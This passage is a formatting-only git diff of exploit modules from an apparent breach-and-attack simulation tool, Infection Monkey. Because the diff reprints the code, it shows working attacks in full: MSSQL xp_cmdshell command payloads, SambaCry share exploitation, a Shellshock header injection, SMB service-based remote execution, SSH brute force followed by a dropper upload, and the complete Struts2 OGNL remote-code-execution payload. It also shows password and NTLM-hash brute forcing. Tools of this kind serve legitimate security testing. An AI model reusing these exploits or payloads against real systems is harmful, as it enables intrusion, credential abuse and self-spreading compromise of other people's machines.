tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -127,11 +127,11 @@ def upload_monkey(self): def remove_temp_dir(self): # Remove temporary dir we stored payload at tmp_file_removal_command = MSSQLLimitedSizePayload( - command="del {}".format(self.payload_file_path) + command="del {}".format(self.payload_file_path) ) self.run_mssql_command(tmp_file_removal_command) tmp_dir_removal_command = MSSQLLimitedSizePayload( - command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) ) self.run_mssql_command(tmp_dir_removal_command) @@ -151,27 +151,27 @@ def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline( - self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path + self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( - command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix, + command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix, ) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.monkey_server.http_path, dst_path=dst_path ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path + payload_file_path=self.payload_file_path ) return MSSQLLimitedSizePayload( - command=monkey_download_command, suffix=suffix, prefix=prefix + command=monkey_download_command, suffix=suffix, prefix=prefix ) def brute_force(self, host, port, users_passwords_pairs_list): @@ -196,12 +196,11 @@ def brute_force(self, host, port, users_passwords_pairs_list): # Core steps # Trying to connect conn = pymssql.connect( - host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) LOG.info( - "Successfully connected to host: {0}, using user: {1}, password (" - "SHA-512): {2}".format(host, user, - self._config.hash_sensitive_data(password)) + "Successfully connected to host: {0}, using user: {1}, password (" + "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) ) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) @@ -213,19 +212,19 @@ def brute_force(self, host, port, users_passwords_pairs_list): pass LOG.warning( - "No user/password combo was able to connect to host: {0}:{1}, " - "aborting brute force".format(host, port) + "No user/password combo was able to connect to host: {0}:{1}, " + "aborting brute force".format(host, port) ) raise FailedExploitationError( - "Bruteforce process failed on host: {0}".format(self.host.ip_addr) + "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): super(MSSQLLimitedSizePayload, self).__init__( - command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, + command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, ) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 31cf8a4b0cb..72d36e234ea 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -89,13 +89,13 @@ def _exploit_host(self): writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) LOG.info( - "Writable shares and their credentials on host %s: %s" - % (self.host.ip_addr, str(writable_shares_creds_dict)) + "Writable shares and their credentials on host %s: %s" + % (self.host.ip_addr, str(writable_shares_creds_dict)) ) self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: - self.exploit_info["shares"][share] = {"creds":writable_shares_creds_dict[share]} + self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(share, writable_shares_creds_dict[share]) # Wait for samba server to load .so, execute code and create result file. @@ -105,23 +105,23 @@ def _exploit_host(self): for share in writable_shares_creds_dict: trigger_result = self.get_trigger_result( - self.host.ip_addr, share, writable_shares_creds_dict[share] + self.host.ip_addr, share, writable_shares_creds_dict[share] ) creds = writable_shares_creds_dict[share] self.report_login_attempt( - trigger_result is not None, - creds["username"], - creds["password"], - creds["lm_hash"], - creds["ntlm_hash"], + trigger_result is not None, + creds["username"], + creds["password"], + creds["lm_hash"], + creds["ntlm_hash"], ) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % { - "username":creds["username"], - "host":self.host.ip_addr, - "port":self.SAMBA_PORT, - "share_name":share, + "username": creds["username"], + "host": self.host.ip_addr, + "port": self.SAMBA_PORT, + "share_name": share, } self.add_vuln_url(url) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) @@ -131,8 +131,8 @@ def _exploit_host(self): if len(successfully_triggered_shares) > 0: LOG.info( - "Shares triggered successfully on host %s: %s" - % (self.host.ip_addr, str(successfully_triggered_shares)) + "Shares triggered successfully on host %s: %s" + % (self.host.ip_addr, str(successfully_triggered_shares)) ) self.add_vuln_port(self.SAMBA_PORT) return True @@ -152,8 +152,8 @@ def try_exploit_share(self, share, creds): self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): LOG.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." - % (self.host.ip_addr, share, str(creds)) + "Exception trying to exploit host: %s, share: %s, with creds: %s." + % (self.host.ip_addr, share, str(creds)) ) def clean_share(self, ip, share, creds): @@ -195,8 +195,7 @@ def get_trigger_result(self, ip, share, creds): file_content = None try: file_id = smb_client.openFile( - tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, - desiredAccess=FILE_READ_DATA + tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA ) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) @@ -237,12 +236,12 @@ def get_credentials_list(self): creds = self._config.get_exploit_user_password_or_hash_product() creds = [ - {"username":user, "password":password, "lm_hash":lm_hash, "ntlm_hash":ntlm_hash} + {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash} for user, password, lm_hash, ntlm_hash in creds ] # Add empty credentials for anonymous shares. - creds.insert(0, {"username":"", "password":"", "lm_hash":"", "ntlm_hash":""}) + creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""}) return creds @@ -268,28 +267,28 @@ def is_vulnerable(self): pattern_result = pattern.search(smb_server_name) is_vulnerable = False if pattern_result is not None: - samba_version = smb_server_name[pattern_result.start(): pattern_result.end()] + samba_version = smb_server_name[pattern_result.start() : pattern_result.end()] samba_version_parts = samba_version.split(".") if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "4") - and (samba_version_parts[1] <= "13") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "4") + and (samba_version_parts[1] <= "13") ): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "5") - and (samba_version_parts[1] <= "9") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "5") + and (samba_version_parts[1] <= "9") ): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "6") - and (samba_version_parts[1] <= "3") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "6") + and (samba_version_parts[1] <= "3") ): is_vulnerable = True else: @@ -297,8 +296,8 @@ def is_vulnerable(self): is_vulnerable = True LOG.info( - "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" - % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) + "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" + % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) ) return is_vulnerable @@ -312,20 +311,20 @@ def upload_module(self, smb_client, share): tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file( - self._config.dropper_target_path_linux + self._config.dropper_target_path_linux ) as monkey_commandline_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read + share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read ) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read ) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read ) monkey_bin_32_src_path = get_target_monkey_by_os(False, True) @@ -333,18 +332,18 @@ def upload_module(self, smb_client, share): with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read ) with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read ) T1105Telem( - ScanStatus.USED, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - monkey_bin_64_src_path, + ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path, ).send() smb_client.disconnectTree(tree_id) @@ -404,11 +403,10 @@ def get_monkey_runner_bin_file(self, is_32bit): def get_monkey_commandline_file(self, location): return BytesIO( - DROPPER_ARG - + build_monkey_commandline( - self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, - str(location) - ) + DROPPER_ARG + + build_monkey_commandline( + self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location) + ) ) @staticmethod @@ -446,11 +444,11 @@ def connect_to_server(ip, credentials): """ smb_client = SMBConnection(ip, ip) smb_client.login( - credentials["username"], - credentials["password"], - "", - credentials["lm_hash"], - credentials["ntlm_hash"], + credentials["username"], + credentials["password"], + "", + credentials["lm_hash"], + credentials["ntlm_hash"], ) return smb_client @@ -458,18 +456,18 @@ def connect_to_server(ip, credentials): # vulnerability # @staticmethod def create_smb( - smb_client, - treeId, - fileName, - desiredAccess, - shareMode, - creationOptions, - creationDisposition, - fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, - securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None, + smb_client, + treeId, + fileName, + desiredAccess, + shareMode, + creationOptions, + creationDisposition, + fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, + securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None, ): packet = smb_client.getSMBServer().SMB_PACKET() @@ -497,7 +495,7 @@ def create_smb( if createContexts is not None: smb2Create["Buffer"] += createContexts smb2Create["CreateContextsOffset"] = ( - len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] + len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] ) smb2Create["CreateContextsLength"] = len(createContexts) else: @@ -549,12 +547,12 @@ def open_pipe(smb_client, pathName): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return SambaCryExploiter.create_smb( - smb_client, - treeId, - pathName, - desiredAccess=FILE_READ_DATA, - shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, - creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0, + smb_client, + treeId, + pathName, + desiredAccess=FILE_READ_DATA, + shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, + creationDisposition=FILE_NON_DIRECTORY_FILE, + fileAttributes=0, ) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 6039ad00f98..7854483a0db 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -29,7 +29,7 @@ class ShellShockExploiter(HostExploiter): - _attacks = {"Content-type":"() { :;}; echo; "} + _attacks = {"Content-type": "() { :;}; echo; "} _TARGET_OS_TYPE = ["linux"] _EXPLOITED_SERVICE = "Bash" @@ -38,17 +38,17 @@ def __init__(self, host): super(ShellShockExploiter, self).__init__(host) self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = "".join( - choice(string.ascii_uppercase + string.digits) for _ in range(20) + choice(string.ascii_uppercase + string.digits) for _ in range(20) ) self.skip_exist = self._config.skip_exploit_if_file_exist def _exploit_host(self): # start by picking ports candidate_services = { - service:self.host.services[service] + service: self.host.services[service] for service in self.host.services if ("name" in self.host.services[service]) - and (self.host.services[service]["name"] == "http") + and (self.host.services[service]["name"] == "http") } valid_ports = [ @@ -60,8 +60,8 @@ def _exploit_host(self): https_ports = [port[0] for port in valid_ports if port[1]] LOG.info( - "Scanning %s, ports [%s] for vulnerable CGI pages" - % (self.host, ",".join([str(port[0]) for port in valid_ports])) + "Scanning %s, ports [%s] for vulnerable CGI pages" + % (self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] @@ -104,18 +104,18 @@ def _exploit_host(self): self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: LOG.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc + "Error running uname machine command on victim %r: (%s)", self.host, exc ) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and ( - self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) + self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) ): LOG.info( - "Host %s was already infected under the current configuration, " - "done" % self.host + "Host %s was already infected under the current configuration, " + "done" % self.host ) return True # return already infected @@ -138,7 +138,7 @@ def _exploit_host(self): download = exploit + download_command self.attack_page( - url, header, download + url, header, download ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) @@ -147,10 +147,10 @@ def _exploit_host(self): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - "ELF" - not in self.check_remote_file_exists( + "ELF" + not in self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux - ) + ) ): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue @@ -164,26 +164,26 @@ def _exploit_host(self): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), - dropper_target_path_linux, + self.host, + get_monkey_depth() - 1, + HTTPTools.get_port_from_url(url), + dropper_target_path_linux, ) cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, ) if not ( - self.check_remote_file_exists( - url, header, exploit, self._config.monkey_log_path_linux - ) + self.check_remote_file_exists( + url, header, exploit, self._config.monkey_log_path_linux + ) ): LOG.info("Log file does not exist, monkey might not have run") continue @@ -243,7 +243,7 @@ def attack_page(url, header, attack): LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) r = requests.get( - url, headers={header:attack}, verify=False, timeout=TIMEOUT + url, headers={header: attack}, verify=False, timeout=TIMEOUT ) # noqa: DUO123 result = r.content.decode() return result @@ -272,8 +272,8 @@ def check_urls(host, port, is_https=False, url_list=CGI_FILES): break if timeout: LOG.debug( - "Some connections timed out while sending request to potentially vulnerable " - "urls." + "Some connections timed out while sending request to potentially vulnerable " + "urls." ) valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index e5e337596b0..81fc2848c1e 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -24,8 +24,8 @@ class SmbExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { - "139/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 139), - "445/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 445), + "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), + "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False @@ -63,33 +63,33 @@ def _exploit_host(self): try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout, + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, ) if remote_full_path is not None: LOG.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " - "%s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " + "%s : (SHA-512) %s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( - "%s or %s" - % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) ) exploited = True break @@ -99,15 +99,15 @@ def _exploit_host(self): except Exception as exc: LOG.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + "Exception when trying to copy file using SMB to %r with user:" + " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s: (%s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), + exc, ) continue @@ -119,18 +119,18 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { - "dropper_path":remote_full_path + "dropper_path": remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - self.vulnerable_port, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + self.vulnerable_port, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { - "monkey_path":remote_full_path + "monkey_path": remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port + self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port ) smb_conn = False @@ -149,10 +149,10 @@ def _exploit_host(self): scmr_rpc.connect() except Exception as exc: LOG.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + "Can't connect to SCM on exploited machine %r port %s : %s", + self.host, + port, + exc, ) continue @@ -169,11 +169,11 @@ def _exploit_host(self): # start the monkey using the SCM resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, - lpBinaryPathName=cmdline, + scmr_rpc, + sc_handle, + self._config.smb_service_name, + self._config.smb_service_name, + lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] try: @@ -187,18 +187,18 @@ def _exploit_host(self): scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, ) self.add_vuln_port( - "%s or %s" - % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) ) return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 61c9ddf526e..3dedae11455 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -58,15 +58,14 @@ def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: try: ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) LOG.debug( - "Successfully logged in %s using %s users private key", self.host, - ssh_string + "Successfully logged in %s using %s users private key", self.host, ssh_string ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: ssh.close() LOG.debug( - "Error logging into victim %r with %s" " private key", self.host, ssh_string + "Error logging into victim %r with %s" " private key", self.host, ssh_string ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -83,10 +82,10 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) LOG.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), + "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), ) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) @@ -94,12 +93,12 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient: except Exception as exc: LOG.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - exc, + "Error logging into victim %r with user" + " %s and password (SHA-512) '%s': (%s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + exc, ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -152,14 +151,14 @@ def _exploit_host(self): if self.skip_exist: _, stdout, stderr = ssh.exec_command( - "head -c 1 %s" % self._config.dropper_target_path_linux + "head -c 1 %s" % self._config.dropper_target_path_linux ) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info( - "Host %s was already infected under the current configuration, " - "done" % self.host + "Host %s was already infected under the current configuration, " + "done" % self.host ) return True # return already infected @@ -175,17 +174,17 @@ def _exploit_host(self): self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo( - file_obj, - self._config.dropper_target_path_linux, - file_size=monkeyfs.getsize(src_path), - callback=self.log_transfer, + file_obj, + self._config.dropper_target_path_linux, + file_size=monkeyfs.getsize(src_path), + callback=self.log_transfer, ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, + ScanStatus.USED, + "chmod 0777 %s" % self._config.dropper_target_path_linux, + self.host, ).send() ftp.close() except Exception as exc: @@ -193,7 +192,7 @@ def _exploit_host(self): status = ScanStatus.SCANNED T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path ).send() if status == ScanStatus.SCANNED: return False @@ -201,16 +200,16 @@ def _exploit_host(self): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, ) ssh.close() diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 4b809da632d..ff5b9887b05 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -48,11 +48,11 @@ def build_potential_urls(self, ports, extensions=None): @staticmethod def get_redirected(url): # Returns false if url is not right - headers = {"User-Agent":"Mozilla/5.0"} + headers = {"User-Agent": "Mozilla/5.0"} request = urllib.request.Request(url, headers=headers) try: return urllib.request.urlopen( - request, context=ssl._create_unverified_context() + request, context=ssl._create_unverified_context() ).geturl() except urllib.error.URLError: LOG.error("Can't reach struts2 server") @@ -67,25 +67,25 @@ def exploit(self, url, cmd): cmd = re.sub(r"\\", r"\\\\", cmd) cmd = re.sub(r"'", r"\\'", cmd) payload = ( - "%%{(#_='multipart/form-data')." - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - "(#_memberAccess?" - "(#_memberAccess=#dm):" - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - "(#ognlUtil.getExcludedPackageNames().clear())." - "(#ognlUtil.getExcludedClasses().clear())." - "(#context.setMemberAccess(#dm))))." - "(#cmd='%s')." - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - "(#p=new java.lang.ProcessBuilder(#cmds))." - "(#p.redirectErrorStream(true)).(#process=#p.start())." - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - "(#ros.flush())}" % cmd + "%%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?" + "(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='%s')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" % cmd ) - headers = {"User-Agent":"Mozilla/5.0", "Content-Type":payload} + headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} try: request = urllib.request.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py index b637cfead99..a2956887f75 100644 --- a/monkey/infection_monkey/exploit/tests/test_zerologon.py +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -26,28 +26,28 @@ def mock_report_login_attempt(**kwargs): def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): - dummy_exploit_attempt_result = {"ErrorCode":0} + dummy_exploit_attempt_result = {"ErrorCode": 0} assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result) def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): - dummy_exploit_attempt_result = {"ErrorCode":1} + dummy_exploit_attempt_result = {"ErrorCode": 1} assert not zerologon_exploiter_object.assess_exploit_attempt_result( - dummy_exploit_attempt_result + dummy_exploit_attempt_result ) def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = object() assert zerologon_exploiter_object.assess_restoration_attempt_result( - dummy_restoration_attempt_result + dummy_restoration_attempt_result ) def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = False assert not zerologon_exploiter_object.assess_restoration_attempt_result( - dummy_restoration_attempt_result + dummy_restoration_attempt_result ) @@ -56,15 +56,15 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): 